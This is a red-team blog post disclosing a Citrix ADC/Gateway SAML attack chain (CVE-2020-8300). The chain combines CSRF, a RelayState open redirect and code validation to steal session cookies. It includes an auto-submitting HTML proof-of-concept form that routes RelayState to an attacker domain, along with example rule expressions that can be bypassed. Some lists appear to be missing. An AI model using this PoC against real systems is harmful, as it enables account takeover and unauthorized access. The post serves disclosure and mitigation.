TL;DR Setting secure rules for the RelayState parameter is a MUST when configuring Citrix Application Delivery Controller (ADC) and Citrix Gateway as SAML Service Provider, because an attacker can exploit a chain of three low-risk vulnerabilities to compromise victims’ accounts. By luring users to a malicious domain, attackers can steal session cookies and gain unauthorized access to the protected applications. The vulnerabilities chain poses a significant risk, potentially leading to Privilege Escalation or Account Takeover on organization’s users.
As a Red Team, we are engaged in penetration testing and security assessments of applications, systems, and network infrastructures to test their security, bearing in mind the client business requirements and the specific context in which the target’s technologies are designed and deployed. A recent case involved assessing a Single Sign-On system designed to ensure controlled access to internal and external corporate portals. While SSO systems are common in corporate environments, the uniqueness of this activity stemmed from the contextualized scenario and technologies used and deployed.
During these types of assessments, it’s crucial to consider the SSO system independently. The individual corporate portals can be viewed as third-party entities that need to communicate with others (i.e. for the authentication and authorization phases), whereas the Single Sign-On system works autonomously. Often, it relies on well-established and tested technologies and tools, likely immune to common injection attacks and vulnerabilities. Engineers configuring these SSO typically focus on setting up the underlying technologies to ensure proper communications and user redirection.
This post will go through all the attack chain’s details discovered and linked to CVE-2020-8300, as confirmed by the Citrix HackerOne team. Although it was patched by Citrix, further actions are required by customers for all versions at the time of writing. At the end of this article, we will present effective patches and demonstrate potential complications in case of misconfigurations.
A Single Sign-On system may be implemented to control access to corporate portals based on the organization's business units. SharePoint, Azure Active Directory and Citrix ADC can be used to create a workflow that enables individual employees to access a list of web portals. Each component plays a distinct role:
It's important to emphasize that no additional code, which may introduce unexpected vulnerabilities, needs to be written to develop this flow. Below is an illustrative representation of the workflow:
As indicated by the colored keys (blue and red), each user is granted access only to web portals relevant to their business unit of belonging. This aspect is crucial during testing, as it highlighted the potential for horizontal privilege escalation attacks. Additionally, certain web applications might have separate sets of application users — sometimes the domain account is only needed in order to land on the application, like a second authentication; otherwise, they rely on the same accounts as those in Azure Active Directory. In practical terms, compromising an account within the Single Sign-On (SSO) system could result in vertical privilege escalation within a specific web application.
As pentesters, our task of assessing the security of such a design requires us to follow a structured approach and have an open mindset. Our scenario was similar to that one just described. Thus, wondering how this flow works under the hood was the starting point. One of the first questions to address was: “How does Citrix identify users and their permissions?”
Citrix documentation explains how it can be configured as a Service Provider while using Azure AD as an Identity Provider, leveraging SAML as the authentication and authorization protocol. But what exactly is Citrix ADC?
As outlined in the documentation, Citrix ADC (aka Netscaler) is an application delivery controller that performs analysis, optimization, and protection of web application traffic. In a corporate environment, it may be configured as a Gateway:
You can use NetScaler as a gateway at the perimeter of your organization’s internal network (or intranet) to provide a secure single point of access to the servers, applications, and other network resources that reside in the internal network.
For further technical details, when a user attempts to access an application protected by Citrix, the Service Provider (SP) evaluates the client’s request. If the client is not authenticated (meaning it does not have a valid NSC_TMAA or NSC_TMAS cookie), the SP redirects the request to the SAML Identity Provider (in our case, Azure AD with Microsoft 365). After that, the authentication proceeds through other two endpoints:
The first endpoint is primarily responsible for verifying the SAML response. At this stage, the user is issued a session cookie and a code that must be validated in the second phase to complete the authentication process. The redirection to the second endpoint is based on the domain defined in the URL provided within the RelayState parameter.
The following sequence diagram shows all the authentication steps starting from the user’s click on the SharePoint page (or simply navigating to the protected web application URL in the browser):
The last step (8) always returns a 200 OK HTTP response, but whether the user is presented with the web application page depends on the privilege he has. For example, the following page shows the HTML code returned if the user has no access privilege to the target:
During the testing, three different flaws were discovered even though they do not represent any high-security risks on their own. In this article, we assume what these vulnerabilities are and jump directly into their outcomes in terms of exploitability:
In general, any system suffering from these vulnerabilities should implement some specific countermeasures to mitigate the potential impact:
https://<target_domain>.com/
(the final slash is essential). The use of a rule is optional; therefore, the vulnerability is by default. However, the rule could still exist if it were bypassable, but this would be a configuration issue of the client using Netscaler.Being said that, how should you protect your application? A Citrix article describes what you should do. But are you sure it’s enough? Yes and no, because it describes how to mitigate the Open Redirect. Keep reading.
All these discovered vulnerabilities don’t pose significant security issues (CSRF certainly has a more relevant impact compared to the others); however, what could they lead to if chained together?
While the goal is to carry out an attack with high implications, it might be useful to start from the CSRF, a vulnerability that allows authenticating victims with an account under the attacker control. However, the exploitation would require a phishing phase and one (or more) prayers that the user enters sensitive information into an application where:
Given these considerations, the likelihood of the success for such an attack is rather low. So, why not shoot for something higher? For example, stealing the victim's session and gaining access to applications we're not supposed to?
Thanks to the flaws discovered, we can try to reconstruct the entire flow by specifying the exact point at which each vulnerability can be exploited. First, let’s list the requirements for a successful attack:
The following sequence diagram shows all the illustrated steps that define the attack flow:
As shown above, the diagram shows how an attacker can exploit the CSRF vulnerability to make the victim’s browser start a login request to Microsoft 365 (steps 5 to 7). However, to also exploit the Open Redirect the attacker must edit the URL in the RelayState parameter to point to his malicious domain (steps 7 and 8). In our case, the RelayState parameter was base64 encoded, with the URL defined after a null byte. The following is an example of a PoC:
<html> <body> <form action="https://login.microsoftonline.com/<guid>/saml2" method="POST"> <input type="hidden" name="RelayState" value="<target_domain>.<attacker_domain>" /> <input type="hidden" name="SAMLRequest" value="<saml_request>" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
Due to the code verification request, the RelayState should contain a URL starting with the target domain. Then, the malicious domain is appended to ensure successful verification in the subsequent step.
Upon obtaining the code value, the attacker must send and validate it on the /cgi/selfauth in order to get the victim’s session cookie (steps 10 and 11).
The attack scenario demonstrated can be reproduced every time there are no rules set for the RelayState parameter. However, there might be some situations where it can still be exploited.
Upon setting RelayState properly, the attack chain is broken: the attacker can no longer obtain the code value, thus preventing them from completing the authentication flow to steal the victim’s session cookies. However, it's important to note:
This allows an attacker, who has obtained the code value somehow, to complete the flow even though they do not have session cookies created and released to the victim’s browser during the pre-authentication request (step 8).
Furthermore, the RelayState expressions may be insecure and bypassable if not set properly. For example, the following expressions are bypassable (because of the missing slash) by using a malicious domain as <target_domain>.<evil_domain>
:
set authentication samlaction -relaystateRule 'AAA.LOGIN.RELAYSTATE.EQ("https://<target_domain>")'
set authentication samlaction -relaystateRule 'AAA.LOGIN.RELAYSTATE.CONTAINS("https://<target_domain>")'
The attack chain enables an attacker to gain a valid session tied to a targeted victim’s account. This breach allows the attacker to elevate their privileges and access corporate web applications that would normally be off-limits, especially if their account is restricted to a limited set of applications. Furthermore, the attack can potentially grant additional privileges on individual web applications protected by Citrix, particularly if user identities are authenticated through the Identity Provider. In such scenarios, the victim’s role could have high-level privileges (e.g. admin), thereby allowing the attacker to significantly escalate their privileges within the affected web application (unauthorized access to sensitive corporate applications).
The attack chain was reported to Citrix, which decided to confirm the vulnerability as Informative since they were already aware of the issues. Given the unclear decision not to implement more effective measures on their part (obviously highlighted in the report), the responsibility to prevent the attack is left to the Citrix panel administrators.
Below are the takeaways from this article:
Paolo Serra is a member of the Yarix’s Red Team. He often deals with application security aspects he gets his hands on, playing hacking with web and mobile development frameworks and technologies.